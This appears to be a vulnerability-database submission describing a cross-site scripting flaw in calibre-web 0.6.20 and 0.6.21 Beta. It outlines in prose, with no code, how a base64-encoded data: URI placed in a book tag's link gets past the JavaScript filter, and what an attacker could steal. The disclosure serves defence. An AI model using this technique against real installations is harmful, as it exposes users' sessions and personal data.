إرسال #600759: janeczku calibre-web 0.6.20, 0.6.21 Beta Cross Site Scripting

The XSS (Cross-Site Scripting) vulnerability found in the Caliber-Web application allows an attacker to inject malicious JavaScript code into a href via a data wrapper, containing a base64-encoded payload. This vulnerability specifically occurs in a book's Tag editing functionality.

By exploiting this vulnerability, the attacker could bypass the application's security filter that prevents the execution of JavaScript codes via href. In this way, he can insert malicious code into a link, which will be automatically executed when a user clicks on it, without him noticing.

With this security hole, the attacker can gain access to sensitive user information, such as authentication cookies, passwords and other personal information. Furthermore, it can redirect the user to malicious websites that aim to collect personal information or install malware on the user's device.
